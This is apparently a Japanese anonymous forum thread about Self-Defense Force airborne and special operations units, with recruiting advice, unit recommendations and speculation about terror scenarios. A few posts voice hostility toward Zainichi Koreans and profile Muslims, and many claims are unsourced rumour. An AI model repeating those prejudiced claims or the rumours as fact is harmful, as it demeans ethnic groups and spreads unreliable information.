　遠距離視力だけでなく近距離視力も必要ですか？
・10月に入隊する予定ですが、二士の季節隊員でも空挺に枠はありますか？
　あるとしても春に入隊の場合より逝ける可能性は低いんでしょうか？

>129
だねぇ。機動運用（空中機動を含む）としての重要性は増してると思う
けど、従来形式の「空挺」は運用しにくくなってるね。

>130
>68-69読む限りは、特戦群目指すなら任期制では無理っぽいよ。
2ちゃんから足洗って、陸曹目指してｶﾞﾝｶﾞﾚ。

>>130
＜特殊作戦群に・・・
手元に資料が無いのでなんとも言えないのですが、空挺要員選抜検査では確か
裸眼で０，６以上　　矯正ならば裸眼０，１以上矯正時０，６以上　で尚且つ
色覚正常でなければなりません。視力回復手術にかんしては不明です。

＜１０月に入隊・・・
貴方がもし１０月に東部方面隊で入隊し、かつ約１００名以上の入隊者がいたとすれば
僅かですが枠が出る「可能性が」あります。最近は空挺団では季節入隊者の後期教育は殆ど
行なっていません。はっきり言える事は３．４月隊員よりは圧倒的に可能性が低いと言うことです
要はストレートで新隊員から空挺団に行けるのは季節隊員に関しては無理と見るべき。
いや寧ろ連隊等で２〜３年経験を積んでからの方が純粋培養の隊員達と比べれば
良くも悪くも視野が広がります。その後どうするかは貴方次第ですが。

まず貴方がすべき事
入隊後前期教育を担当する班長に面接時に空挺に勤務したい事を伝える。
それと平行して体力練成に励み体力検定の成績では区隊の上位を取るように。
また、普段から自己中心的な行動を取らずに積極的に班のそして区隊を盛り上げる様に振舞う事。
言われた事を忠実に実行する事。
後期教育終了後配置先の班長、先任に同じく伝える。その後時期が来れば
空挺要員選抜検査１次→同時並行で体力検定５級以上（できれば１級が望ましい）
空挺要員選抜検査２次→基本降下課程入校→同卒業後次の定期異動で転属
の、様な感じです。

そういえば>>68での「若い子」って具体的にはどれくらいの人たちのこと？

>>133
永続希望の１任期程度の陸士並びに極一部の昇任したての３曹、及びＢ幹３尉

>>132
早速のレスありがとうございます
＞裸眼で０，６以上　　矯正ならば裸眼０，１以上矯正時０，６以上
他国の特殊部隊は視力の基準がかなり厳しいようですが、
特殊作戦群では↑のように普通の隊員と同じでいいんですか？

＞＜１０月に入隊・・・
やっぱ可能性ほぼ無しですか、残念

＞まず貴方がすべき事
＞普段から自己中心的な行動を取らずに積極的に班のそして区隊を盛り上げる様に振舞う事。
これは飲み会とか人間関係ってことですか？
だとしたらかなりやばそうです・・・

>>135
日常の訓練において、ということです。
もちろん課業外においても大事な事ですが。
空挺は一般部隊に比べて人間関係は良くも悪くも濃いですよ。

>>136
なるほど、それなら可能性はありそうです。がんがります

>>136
ところで、貴方は何処の方面隊の枠で入隊されるのかな？
各方面ごとにお勧めできる部隊を少しですが知っています。
将来空挺に来るのであれば下積みとして空挺では出来ない（陸士としては）貴重な経験
を送る事ができるチャンスでもあるんですよ。何事にも前向きの姿勢がよろしいと思われ。
俺が言っても説得力無いがｗ

>>138
東部方面隊です。

>>139
でしたら
普通科教導連隊　最新の装備品が配備され、新戦術・新装備試験の研究などに関わる可能性が高い部隊
　　　　　　　　弾薬の射耗量も陸自でトップ。東富士地区内にあるため訓練環境は抜群。

２．１３．３０普通科連隊
　　　　　　　　空中機動旅団の部隊かつ積雪地なので関山（新潟）等で
　　　　　　　　冬季演習がある（スキーを使ってね）

１、３２，３４普通科連隊
　　　　　　　　最近は市街地戦闘に重点を置いています。
　　　　　　　　特に３４iはハワイで訓練を受けていました。

１，１２特科隊
　　　　　　　　空挺では特科は榴弾砲ではなく重迫撃砲を使用している為
　　　　　　　　将来空中投下可能な軽量榴弾砲が採用された場合
　　　　　　　　ここでの経験がいかんなく発揮できるかもしれません。

東方直轄の施設団・群
　　　　　　　　直轄部隊ならではの大型の装備・機材等に触れる機会が多い。

とりあえずこんなところです。
職種で選ぶか、任地で選ぶかで分かれますが。
　　

>>140
詳しいレスありがとうございます！
歩兵としての体力や技術を身につけたいので上3つの中のどれかを志望してみます。

>>140
頑張って下さい、いつの日か空挺来られることを心待ちにしておきます。
貴方の御健勝御多幸を祈ります。
あ、ちなみに空挺の普通科なら１大か２大をお勧めします。他には団本部中隊の
偵察小隊や降下誘導小隊も遣り甲斐があると思います。
特に偵察小隊は掛け値無しに日本最強の偵察部隊だと言い切れます。

アンカー間違えまくりだな・・・・・
てにをは　も抜けたり間違ってたり・・・・・

>140
おお、130氏ではないが私も週末に東部方面隊の☆うけるので参考になります。
私もいつか空挺にいけるようがんばります。

>>118
自分としても残念に思ってるんだが、
Sが本当に選抜隊員で構成されていると思ったら大間違い。
現在では、２ちゃんでいうところの「厨」がかなり入ってしまっている（幹部も曹も）。
実際は、任務としては空挺の方がはるかに多く、訓練もその分多い。
Sは任務が限定されており、まだ訓練もそれほど密に行っているわけではない。

10年か20年経つうちに、名前にふさわしい部隊になっていることを切に望みます。

1Jさん、東北方面隊でお勧めの部隊はありますか？

>>145
あんた誰？

「厨」というのはいわゆる一芸に秀でた人たちのことですか？
射撃とか、爆破とか、爆破とか、爆破とか。
空挺出身者みたいなマッチョさんばかりじゃないみたいですよ。

ホントに「厨」だったりして・・・特殊部隊員が2ｃｈにブラクラやＡＡ連貼りしてたら笑うけど。

特殊部隊員だって人間だからな

>>148
Sではいわゆる「一芸に秀でた人たち」は実際にはほとんどいません。
でも、もう何年かすれば、入れ替えもある程度進むかもしれません。
ただ、懸念材料はまだまだ多く、まさに「生みの苦しみ」といったところです。

１J氏はたぶん、このあたりの経緯を知っていると思います。書かないだろうけど。

まさか・・・ホントに「厨」なのか？

>>146
青森５連隊　　　本州最北端の連隊。毎年冬季に八甲田山行進を行なっています。

秋田２１、多賀城３９連隊
　　　　　　　　　東北方で精強な部隊と伝え聞いています。
御免なさい、東北方は不思議と情報が入ってこない。

>>150
傘の・・？まあ特戦自体服務事故大杉だ罠ｗ
髪型は許せるとしても、習志野の諸事情を知らない転属者がでかい顔し過ぎｗ（特に外で）
傍から見てると「厨」だ罠ｗおもしれえや。

実際問題仕方が無い面もある。陸自の人事異動に関して。
通常の人事交流だけでもあれだが、改編・新編ともなればそれはそれは悲惨な事だから・・・
西普連や１２，１３Ｂに１０Ｄの改編においても何処の部隊もピンとキリの両方を
ワンセットで送り込んでるからな。ここぞとばかりに大掃除・・・いらない香具師は・・
ってな具合でさ。
だから西普連や４９ｉの様な事案もおきる。
自衛隊自体いろんな香具師達が居る以上しょうがない罠。
本部要員自体別にレンジャー出て無くても勤まるし・・・

空挺は私物のブーツ使ったり出来るの？

俺、特殊作戦群に所属してるんだよ。ここだけの話だけどね。
何か聞きたい事があったら質問してくれたら答えるよ。
でも、機密事項が答えられないから勘弁なw
ちなみに配属されて約、半年かな。なかなかやりがいのある
仕事だし、今度、イラクに派遣されることが決まってちょっと
ドキドキw

（＃・∀・＃）WAiRタン、ハァハァ〜
ttp://militaryroom.chips.jp/myweb001001.jpg
これって何をやってるんでつかね？

>>156
集団首吊りだよ。WAiRは自殺が多いって言うだろ?

トラップにひっかかって一網打尽になったところだろう。

西部方面普通科連隊って
「WAiR（ワイアー）」「西方普連」「西普連」とさまざまな呼び名あるね。

SBUが創設されたのが、確か00年の12月だったと思うが、それから今年の12月で
4年経つけど、SBUのレベルはどれぐらいまで上がったのだろうか？
発足当初は、SEALに訓練を断られたり、9ミリ機関けん銃を使用したりで、前途多難
だったけど、現在はどうなのだろうか？
SBS、SASのイギリス特殊部隊から指導を受けてるらしいけど、どうなんだろう？

>>160


SBUヲタには悪いけど・・・・・

SBU発足当初は。。。。

SST＞＞＞＞＞＞＞＞SBU

現在では。。。。

SST＞＞SBU

だね。

SBUの訓練環境や装備の贅沢さを考えると、５年後あたりにSSTを追い抜くのではないか？

SBUは常に即応体制に入ってる

日本の精鋭部隊の標語

・陸自第一空挺団「精鋭無比」
・海自特別警備隊（SBU）「自己の躍動が成果に繋がる」
・海保特殊警備隊（SST）「常に備えよ」

SBUはインド洋

>>163

SATと特殊作戦群の標語は？

>>165
1J氏が知っていると思われ

>>163
その元ネタって何？

＞＞1J氏
中部方面隊でお薦めの部隊はありますか？

>>167
特警の標語は、今年の２月に江田島でもぐりやってた時に聞いた。
学校では、幹部要員が船上でのロープ降下技術習得に挑んでいたなあ。
たぶん立ち入り検査の部隊の関係者だと思う。

>>156
エキストラクションロープ（ファストロープ）課目「離脱」
>>166
残念ながら知りません。
>>168
金沢１４普連　　某映画に出てきてボロクソにやられてたあれですｗ
　　　　　　　　ちなみに北陸地方唯一の実働部隊にして警備担任区域中
　　　　　　　　もっとも原発が多い・・・
　　　　　　　　１０Ｄ唯一の積雪地部隊です。山地に於ける対遊撃行動では定評があります。

信太山３７普連　通称８９３連隊ｗ気性の荒い南大阪出身者が多い。レンジャーは中方でもっとも
　　　　　　　　過酷と伝え聞いています。海保・大阪府警との関係は周知の通り。

米子８連隊　　　マターリな部隊環境と聞きますがいざ状況となると意地でも
　　　　　　　　道を歩かない。錯雑地を利用して突然現れるとか・・・

春日井１０偵察　なぜかスクーバが出来る隊員がゴロゴロ居る。
　　　　　　　　

>>167
たぶん、ゼロオプからのパクリ

1Ｊさん北方ではどこでしょう？教えてください

空挺めざしている人頑張ってね！駐屯地祭り行くからね！屈強な雄姿を見せてちょ
あと祭りのとき降下訓練する鉄塔を解放してほしいとおもったりなんかしちゃったりする

全然関係ない話でごめんなさい。

>>172
北方なら「冬戦教」が最強！

実力は空挺や特戦群よりも上

>>171
そうですか。書籍などに載っているのかと思ったのだけど、
残念。

１Jさん

信太山３７普連はSSTや大阪SATに何の訓練を施しているのですか？　
野戦・・・レンジャー訓練ですか？
でもSSTや大阪SATには必要無いと思うけど。

SATの標語

「厨房無比」

>>1J氏
ありがとうございます！

>>174
冬戦教はあくまで教育部隊ですよ。

>>172
まず第３普通科連隊は確定でしょうな。陸自普通科最強と言われてるらしいです。

自営業閣下によると冬戦教は…(ry
>>168と自営業閣下のどっちが正しいんだ？

>>180
冬季レンジャーもやっていますが、
冬戦教はほとんどオリンピック目的の部隊と化しています。
ここで取り上げるほどの部隊ではありません。

>>180
冬季遊撃・戦技訓練の教育を担当する部隊もあるでしょうが、それなら普教連レンジャー班
もありますし、空挺団に空挺教育隊もありますから、空挺や特殊作戦群より上とは言えないでしょう。
そもそも教育隊なのに…。

冷戦時はかなり過酷な訓練をしていようです。
もともとソ連軍に上陸されたことを前提に組織された部隊というはなしですから。
五輪対策部隊というのは左翼を欺く看板だったとか。
今は看板どおりの部隊になってしまいましたが。

>>182
申し訳ないが、
言いたいことが微妙によくわからんです。

>>172
やはり３普連は外せませんね。
他にも
東千歳１１普連　　　陸自でもっとも規模の大きい連隊。８９ＦＶを装備し
　　　　　　　　　　普通科に居ながらにして機甲科の戦闘行動をとる。
　　　　　　　　　　空挺に居ては絶対に知ることの出来ない世界。

滝川１０連隊　　　　ここも精強だと伝え聞きます。

まあ北方の普通科は全部ＡＰＣで装甲化されてますし、
最新の装備が優先的に配備されていましたから。
>>180
７０年代頃までは・・・・・今はただの教育隊。過去の名残はまだあるらしい。
そもそもソ連が道央に侵攻して、いよいよとなったら地下にもぐって・・・・
いかんいかんこれ以上は・・・
>>176
過去スレ参照ヨロ。
　　　　　　　　　　　　　　　　

貼っときますね。

タイトル：北朝鮮テロの対処計画立案　陸幕が秘密裏に策定

　防衛庁陸上幕僚監部が、北朝鮮の特殊工作員による大規模テロを想定し、日本への
侵入勢力を最大２５００人と見積もり、政府機関や原発など全国１３５施設に部隊を
配置して戦闘に備えるテロ対処計画を立案したことが１８日、陸幕の秘密資料で分かった。

　北朝鮮に対する陸幕の強い警戒感を反映し、要人暗殺や生物化学兵器使用の可能性、
工作員を支える在日朝鮮人の存在などを指摘。一方で「国土防衛」に陸上自衛隊だけで
約２３万人必要と、現有１４万６０００人を大きく上回る試算を行い、新「防衛計画の大綱」
策定を前に、陸自のマンパワーの必要性をアピールする意図もあるようだ。

ソース：共同通信
http://flash24.kyodo.co.jp/?MID=MRO&PG=STORY&NGID=main&NWID=2004091801004369

>>185
1J氏、自営業閣下ネタで恐縮ですが
自営業閣下の作品で冬戦教は今もなお、米特殊部隊と英SASに研修派遣されてる「らしい」のですが
やはり、話半分と思ったほうがいいのでしょうか？

>>185
「空挺に居ては絶対に知ることの出来ない世界」というのは言いすぎですよ。

>>186
この手の話は、部内からわざと流している場合が多いです。

たとえば特戦群が当初の計画から大きくずれて混乱状態になった挙句、
名ばかりの有様に陥ってしまったのは、
性急に進めようとする一部が各種事案とマスコミを利用したため。

それと、ageは困ります。

まだ発足して一年経ってないじゃん

どーでもいいが、天麩羅に空自の基地防衛教導隊が入ってたんだな。
誰もﾈﾀにせんから分からんかった

>>188
ん！？
空挺じゃ戦車装甲車なんてパレードか演習場でしかお目にかからんが・・・
空挺が普戦協同なんて初降下行事でぐらいでしかやらんが。
ＡＰＣに乗って乗車・下車戦闘なんてほとんど誰もやったことない・・・
これだけでも「空挺」に居ては知ることの無い世界だと思われ。
>>187
何事も「話半分が」ちょうど良いと思われ。
２ちゃんもね・・・

>>190
創設の話だろ、ボケ

>>187
冬戦教も変わろうとしてるんだよ、存在意義を見つけるためにね。

>>194
日本列島に積雪地がある限り冬戦教は無くならんよ。
予算削減で規模が縮小することならばあり得るが。
あっ！？メダルが獲れなくなったらそれこそ本当にヤバイかも・・・

しかしまぁ日本の対テロ政策って水際阻止が至上命題なんだよね。
業計見ても最近の海保・警察庁の動きを見てもやっぱり「入国させない」が
第一なんだね。相手がタイ国籍やミャンマー国籍だったら同じ仏教徒としてノーマーク
になりそ。案外そっちの国籍の方が入国しても日本社会に溶け込みやすそうだし。
どうしてって？フィリピンやインドネシア国籍よりは違和感無い。
日本て未だイスラム教徒が入り込んでも直ぐに解る社会。うん、まだまだ平和だな。
この調子で入国管理ももっとしっかりして貰えれば陸自の出番はなさそうだな。
でもチェチェン人を筆頭に旧ソ連圏のイスラム教徒がロシア国籍で入ってきたら解らんかも？
富山や新潟や鳥取、北海道・・・

別海にAAAVで機械化された「北部方面普通科連隊(海上機動)」とか
配置してくんないかな？

敵軍を着上陸侵攻させない、から
敵非正規「軍」？を着上陸侵攻させない、か・・・
冷戦時代からドクトリンがなんも進歩しとらんな・・・・・
海空偏重主義は揺ぎ無いか。

>>197
北方領土奪還部隊かなｗ
そういう部隊、配置するなら東北方か西方でないと説得力が無いね。

200

>>196
＞相手がタイ国籍やミャンマー国籍だったら同じ仏教徒としてノーマークになりそ
＞どうしてって？フィリピンやインドネシア国籍よりは違和感無い。
フィリピンはイスラム教徒は全体の5%でほとんどはキリスト教徒だし、
マークするかしないかに仏教徒とか関係あるの？
＞チェチェン人を筆頭に旧ソ連圏のイスラム教徒がロシア国籍で入ってきたら解らんかも？
チェチェン人が日本で何するだ・・・？
チェチェンがテロ行為をしたことあるのはロシア国内とかカフカスの一部だけで、
欧米でも一度も無いのに、いきなり日本に来て何かするの？（ｗ

1Jの現場の話は参考になるけどこういうことに関しては工房レベル？

>>197
＞海上機動部隊
第４＆第８師団は趣旨が違うし、西部方面は装備が軽すぎるから無理な気がするので、
第１３旅団や第１４旅団（現：第２混成団）あたりを改編すればいいと思うよ。

でもどういった編成にすればいいのかな？
一度に運べる人員や装備も決まっているだろうから、
普通科部隊→　普通科連隊（軽）２個
特科部隊　 →　特科大隊２個
対戦車部隊→　廃止か縮小
高射特科　 →　廃止か縮小
舟艇部隊　 → 舟艇管理部隊を新設？
施設部隊　 → 施設中隊２個
あとは、普通の旅団並みに・・・っていうかよくわからないや。
海上機動旅団っていうのは響きはいいんだけど。

この場合チェチェン人というか、アルカイダのことだろう。
ロシア経由の潜入もたしかにありうる。
もっとも香具師らは夏しか行動できないだろうがね。
あとフィリピンには邪魔・イスラミア系のテログループがある。
本州には上陸できなくても西表とかに上陸することもありうる。
離党への上陸は海保では防げない。

1Ｊ官さん、いざって時に冬戦教が残置諜者をするとしてもかなり消極的な戦術ですよね。
もっと攻性なアメリカのＳＦＧのように戦時に敵国の反政府組織の支援、訓練活動も
視野にいれた戦術は日本では有効たりえますでしょうか？速効性はないけど。

具体例として対中国戦なら抑圧されているチベットやウイグルなど。
まあ、専守防衛を旨とする日本じゃ承認されそうにない作戦だけど。
それにアフガンゲリラのように後のテロリストを育てるかもしれないリスクもあるか。

>>201
チェチェン人を限定するかはともかく、
最近はイスラム人は勢力を増している。
西欧やロシア・中国・アメリカでは人口比が増すなど
問題になってきていたはず。

日本の場合はしばらくは大丈夫だと思う。
まぁ中国沿岸部にまでイスラムの勢力が帯びてきたとかなれば
真剣に考えないといけないとは思うが。

日本ってそんなにイスラム過激派を警戒してるの？
今まで日本がヤシラに狙われた事って無い気がするけど・・・

>>204
＞もっと攻性なアメリカのＳＦＧのように戦時に敵国の反政府組織の支援、訓練活動も
＞視野にいれた戦術は日本では有効たりえますでしょうか？
日露戦争で日本はやっていたね。

>>192
まあ、「絶対に」というのは確かに言い過ぎだな。
やるやらないと、知る知らないとは違うし。

ちょっと厨房レベルの反応の仕方じゃないかね？

小倉の４０普連が福岡県警のSATと繋がりがあることは
意外に知られていない。

３７普連が大阪SATと繋がりがあることをここのスレ住人は意外に知らない。

>>205
イスラムでもチェチェンとかボスニアとかヨーロッパ方面の連中より
東〜東南アジアの方が可能性ずっと高いよね？

特殊部隊RANKING-改におき人気の高かった特殊部隊上位50のランキング

順位 投票 項目名 コメント 票数 グラフ
1 陸上自衛隊特殊作戦群 コメント 22
2 SBU （海上自衛隊特別警備隊） コメント 12
3 SBS　（英海兵隊特別舟艇部隊） コメント 7
3 SAS　（英陸軍特殊空挺部隊） コメント 7
5 NAVY SEALS　（米海軍特殊戦部隊） コメント 6
6 DELTA FORCE　（米陸軍第一特殊作戦分遺隊） コメント 4
7 GSG-9　(独連邦国境警備隊第9対テロ部隊) コメント 3
7 GREEN BERET　（米陸軍特殊作戦部隊） コメント 3
7 陸上自衛隊第一空挺団 コメント 3
10 SAT （日本警察特殊急襲隊） コメント 2
10 SST　（日本海上保安庁特別警備隊） コメント 2
10 JTF-2　（カナダ軍第2統合任務機動部隊） コメント 2
10 SWAT　（米国ロサンゼルス市警特殊火器戦術部隊） コメント 2
15 GIGN　(仏国家憲兵隊対テロ部隊) コメント 1
15 WAiR　（陸上自衛隊西部方面普通科連隊） コメント 1
15 KSK （独陸軍特殊作戦コマンドー） コメント 1
15 DEVGRU コメント 1
15 SOU　（日本陸上自衛隊冬季戦技教育隊） コメント 1
23 TACLET　（米沿岸警備隊） コメント 0
23 JGSDF/40iR　（日本陸上自衛隊第40普通科連隊） コメント 0
23 GIS　(伊警察特殊介入部隊) コメント 0
23 FBI-HRT　（米連邦検察局特人質対応部隊） コメント 0
23 SDU　（香港警察特殊任務連隊〜飛虎隊〜） コメント 0
23 Sayaret Matkal　（イスラエル参謀本部偵察部隊 第269部隊） コメント 0
23 GEK COBRA　（オーストリア憲兵特殊部隊） コメント

イスラム・チェチェンより在日朝鮮人どうにかしてください。

阪神大震災の時も武器庫見つかったってーじゃないですか。
総連と民潭消してくださいよ…＿|￣|○

■航空自衛隊　「基地に立てこもり」で訓練 ■

自衛隊の基地に武装グループが侵入し、立てこもったという想定できょう、訓練が行われました訓練は、
きょう午前、鹿児島県・下甑島の航空自衛隊下甑分屯基地で行われました。

きょうは、「武装した２人組が隊員を人質にとって基地内の建物に立てこもった」という想定で訓練が
行なわれました。
人質を救出するため武装した隊員が屋根からロープをつかって建物の中に突入するなどして、敵を征圧
しました。
こうした訓練は先週の土曜日から行なわれており今夜から明日にかけては陸上自衛隊との合同演習が予定
されています。

http://www.rkb.ne.jp/

>阪神大震災の時も武器庫見つかったってーじゃないですか。
これに関してはソースが無いからな。そもそも在日云々は自衛隊の仕事じゃないし。

在日と総聯は公安の担当だが、割り振ってる人数少なすぎ。
公安もいーかげんサヨﾀﾝから現実の脅威にシフトしれ

ていうか、自衛隊情報本部内にもあるだろ。
対在日情報機関

いざって時に警察の火力で制圧できるの？

ＭＰ５で大丈夫？

>>201
そですよ。私の脳みそ厨房レベル。ってか一線部隊にいる自衛官なんてこんなもんだよ。
市ヶ谷だとかに居る幹部達なら違ってくるが。
>>208
空挺に居る隊員の過半数は習志野で後期教育受けた者達ばかり。
１１ｉや普教連経験者なんて数えるだけしか・・・・
転属者はいつまで経っても外様。
>>206
日本自ら狙われる火種作っちゃってますが。
アルカイダがただのブラフで或はパフォーマンスで日本攻撃言ってるだけなら
別にどうでもいいのだけど。アメリカ、スペインが実際に被害を受けている以上否が応でも
警戒するしかない。アラブ人が動き回るよりは、東・東南アジア系の方が日本国内では
違和感無い。まあ東南アジア人が居るところなんて国内じゃ結構限定されるが・・・
自衛官が心配したところでどうにもならんがね。

東南アジアのテログループが沖縄の離党に上陸して、ホテルなどを占拠するのは可能だと思う。
支那国あたりがｺｿｰﾘ支援する可能性もある。

北朝鮮工作員（と思われるが詳細不明）が遭難した漁船に見せかけ、救助に来た海保の巡視船占拠
　　　　　↓
日本海側の原発占拠


工作員の装備はＡＫ４７、ＡＫ７４、ＲＰＧ７等


この場合警察の銃器対策部隊、ＳＡＴ、ＳＳＴ、それか自衛隊の制圧部隊のどれが出てくる？
警察じゃ荷が重いと思うんだが……

>>221
平時の際には、自衛隊、警察とテロ対策に力を入れているし、縄張り争いを
展開しているけど、いざこのような重要な事案が発生したら、自衛隊、警察共に
担当を押し付け合うんじゃないかな？
これほどの重要な事案なら、確実に日本側に大きな損失が出るのが予想されるからね。
自衛隊、警察の上層部は、海外やマスコミや国民等から痛烈な批判を受けることを
恐れるだろうし、己の保身を気にするだろうし。

原発占拠までにＳＳＴに制圧される
終了

ごめん
ageてもた

SSTが出るが返り討ち→自衛隊が出動で鎮圧ウマー！！

うん、海保程度ならヘリからラペリング→SA-16で返り討ちだ。

>>219
空挺だろうか何だろうが
曹士で国際関係とかの知識っていうか教養がある人ってほとんどいない？

まぁ、原発占拠された状況で出張ってくる部隊はどこなのかなぁ〜っと。

>>228
っていうか原発には原発所属の銃器対策部隊が配備されてるじゃん。

実際、射程距離が短く威力の弱いMP5をメインアームにしている警察の銃器対策部隊やSATが原発を警備しているのと
射程距離があり威力のある８９式小銃をメインアームにしている自衛隊の普通科連隊が警備しているのでは、原発を
狙ったテロに対する抑止力に差が出てくる。

今更ながら「宣戦布告」を見たわけだが、実際あんな状態になっちゃうわけ？
映画とはいえ、あのザマは悲しすぎるぜ。

フィクションです

訂正
>>152の多賀城は３９じゃなくて２２だった。

>>221
救助に来た巡視船の海上保安官によって制圧。
SSTが出るまでも無い

難破船救助の海上保安官も武装してるんだ。

武装の内訳までは知らないけれど、船内で反乱や犯罪が起きたときに対処するのも海保だし。

少なくとも擲弾銃はあるらしい。
拳銃とかもあるだろうよ。
奄美事件じゃ、64式を一発だけ発砲しているし。

>>236
海保がグレネード？
ショットガンの間違いでは？

>>237
ロープを撃ったりするのがあった希ガス。でもﾉｰｿｰｽの脳内記憶なんで、ﾐｮｰﾐｮｰだったら棄却しておくれ。

それは相手がプロの工作員だった場合制圧できるレベルなのか？

海難救助の隊員の戦闘の錬度含めて。

>>239
たぶん、逆制圧されると思う。
つか、重武装した特殊部隊を、そうと知らずに臨検して無傷ではいられまい。

異常が無線で送られるだろうけれど、何の支援も受けられないまま、海保側が制圧されると思う。
奇襲的にＭＧで銃撃され、手榴弾他の爆発物で攻撃されたら、反撃どころじゃないって。

でも、それをやった瞬間から、日本も対応ﾓｰﾄﾞ入るから、作戦としては駄目と思われ。

>>240
なるほど…作戦としちゃ没かぁ…むぅ……

そもそも北朝鮮だろうがどこだろうが、日本を襲うメリットは皆無だろ。
日本を攻撃してどーしよーってんだ。

空想小説や劇画なら、ネタをつくんなきゃいけないからイロイロこじつけて
設定を作るだろうが、現実にはありえないよ。

寝ろ、航空自衛隊。

>>242
地上の楽園じたい設定がありえないので、ネタとしてリアリティーがないのはわかりますが。

南北朝鮮→日本
中国→台湾

でアメリカの動きを封じて………ダメか。

>>245
何をしたいの？

>>245は大中華の最高を夢見てるのさ。

WAiRは中隊ごとに得意分野が違うのかも。

海自の護衛艦付き立ち入り検査隊（MIT)の隊員の能力ってぶっちゃけどれくらい

普通。

つまり要求されるている能力は備えてますってことですか。

海上自衛隊立ち入り検査隊（MIT,VBSS)
９９年能登半島不審船事件の後船舶検査能力向上を図る為発足
各護衛艦に数チーム結成される（人数は不明）
メインアーム：９ｍｍ機関拳銃又はショットガン　サイドアーム：９ｍｍ拳銃
立ち入り検査課程：広島県江田島第一術科学校　期間約１ヶ月
教育内容：国際法、海洋法、法規一般、射撃（SBUの基本射撃に順ずる）ラペリング
　　　　　防御技術、体力練成（武装障害走等）船舶一般に関する知識技能
　　　　　CQB（基本）各種装備取り扱い法、乗船実習等が行われている。
米国コーストガードから範を取り発足し高い教養、技能が要求される
どちらかといえば警察権的な観点から武器使用に関してかなりの制約があり
相手からの暴行、反抗に対して徒手や警棒等で対応しなくてはならない場面に対し
現在の課程教育では能力不足が否めない。（素人が１ヶ月で逮捕術や防御技術は習得できない）
SBUのように相手を制圧するのと違ってまた難しいらしい
やはり海保の特別警備隊レベルぐらいないと実戦では使い物にならないと思う

海保の特別警備隊と特殊警備隊の役割はどうちがうんだろう。

>>249
出ている情報から推測すると、護衛鑑の乗員を訓練したものだから、限定的な能力と思われ。
任務自体も不審船みたいに相手の脅威度が高い場合には、SBUが無力化してから立入検査を行うことになっている。

>>253
海保は平時、海自のは有事または有事の部隊。
法体系でいえば、周辺有事には船舶検査法があり、
防衛出動時には臨検法（外国軍用品等の海上輸送の規制に関する法律）
に基づいて活動するわけだけど、海保には適用されない。

SBUとSSTの任務の違いが分からない人って多いよね。
共通の任務で言うなら、「不審船対処」かな。
それ以外は、異なるけどね。

>>253
海保の特殊警備隊と特別警備隊銃器対策部隊の役割の違いというのは
警察の特殊急襲部隊と機動隊銃器対策部隊の役割の違いと同じじゃないの？
警察白書によれば
銃器対策部隊の主な任務は、銃器等使用事案の制圧・検挙であるが、S
ATが出動するような重大事案発生時には、SATの到着までの第一次的な
対応に当たるとともに、到着後は、その支援に当たることとしている。

となっているから
海保の特別警備隊銃器対策部隊の主な任務は
銃器等使用事案の制圧・検挙であるが、S
STが出動するような重大事案発生時には、SSTの到着ま
での第一次的な対応に当たるとともに、到着後は、その支援。
こんなところかな。

>>257
海保の特別警備隊だったのかぁ。

海保の特警隊に銃器対策部隊なんて無いぞ?

>>257
言い回しが悪いが、特別警備隊銃器対策部隊は海の機動隊だろ、海保自体準軍事組織だから
機動隊という言葉は適当ではないけど警察にたとえるそうなるのでは？普通の海保の人も機動隊並みの
装備してるし・・・

>>260
＞海保は準軍事組織
いろいろ諸説あるけどな〜。

準軍隊説
１．ジェーン年鑑には海保は海上自衛隊の下位組織として紹介されている
２．「とりあえず機関拳銃を持っているから準軍隊でいいと思う」説
　　（補足→こういった人はＳＡＴも準軍隊であると主張）

準軍隊ではない説
１・ＮＡＴＯが定義する「準軍隊」に該当しない
　　（反論→「ＮＡＴＯの定義する準軍隊は時代にそぐわない」と
　　　主張する２ちゃんねらーもいる）
２．海上保安庁法で軍の機能を持つことを否定している。

など。
ついでに言えば、>>1のリストには海保は入っていなかったりします。

国境警備隊を自認しているので、国境警備隊=準軍隊説も入れておけ。

しかし海保SSTと海自SBUとは予算の掛け方が桁違いに違うが
海保と海自の立ち入り検査隊の装備は海保に軍配が上がるよな
しかし今年度海自MITはシールズ並みの臨検用リブ導入予定だっけ

今週発売の週刊プレイボーイ（9月21日火　首都圏発売）の記事

新連載　衝撃のノンフィクション
「はじめて明かされる海上保安庁特殊部隊SSTの真実」

第1回　1999年、能登沖。不審船上空にSSTのヘリはいた。（前編）

http://wpb.shueisha.co.jp/mokuji/index.html

このスレって、対馬警備隊についての話題が出てこないな。

興味ないんだろ

興味は最強！

陸自特殊作戦群・海自特別警備隊・海保SST・警察SAT
の特殊部隊の中で訓練風景を見れるならどの部隊が良い？

＞２６８
特殊作戦群は絶対無理。

プレイボーイの記事には海保に緊急車両がないって書いてあったけど、
海保の場合そんなに困るような事なのだろうか？

>>268
やはり特殊作戦群とSBUの訓練風景を生で見たいな。
SSTは公開されてるから良いし、SATは・・・興味ないからどうでも良いや。
>>270
海保って、緊急車両無いの？？
自衛隊でさえ、警務隊のジープや白バイが緊急車両に登録されてるのに・・・

>>271
＞海保って、緊急車両無いの？？
ないよ。

そりゃあ陸の上の仕事じゃないもんな。
緊急車両の予算なんて認められんだろう。

昔はあったんだよ。海保に緊急車両。
陸自払い下げのジープにパトライトつけて・・・。
台風のときの沿岸警戒とかに使われていたらしい。
この間の台風みたいに灯台が倒壊したときとか。
今は、特救隊が移動に使うワゴンに緊急車両指定がほしいんだろうけど・・・。
自衛隊どころかガス会社や電力会社だって緊急車両指定もらってるんだし、
海保にあってもおかしくないんだけど、復活は無理なのかねぇ・・・・

本当に緊急の際にはパトカーに先導してもらっていますよ。

ちょっとスレ違いだがお知らせ。
このスレの住人ならオメガは必読でしょ。
こないだ1Ｊさんもマダー？って言ってたし。

http://hobby7.2ch.net/test/read.cgi/army/1088253533/955

955 名前：一等自営業 ◆JYO8gZHKO. 投稿日：2004/09/24(金) 13:25 ID:???
一番早い新作は学研で三月。絶対防衛圏の死守を命ぜられてまつ。
半年以上あるじゃん！じゃーなくて、もう半年ないです。
担当がうるさくて･･････ﾌﾞﾂﾌﾞﾂ

オメガとかキャットアイットワンの新作は夏以降かな。

今月２７日発売のSATマガジンの特集とかを紹介するページってなかったっけ？

特殊部隊ではありませんが，今までの韓国陸軍の装備と比較すると，
興味深い点がいくつもあります。
http://bbs.enjoykorea.naver.co.jp/jphoto/read.php?id=enjoyjapan_12&nid=47325&work=list&st=&sw=&cp=2&selectSize=1

スレ違いｽﾏｿ。

ダットサイト付きＫ１、中々いけてるね。しかし、自衛隊と韓国軍の装備って
あんま変わらないなぁ・・・

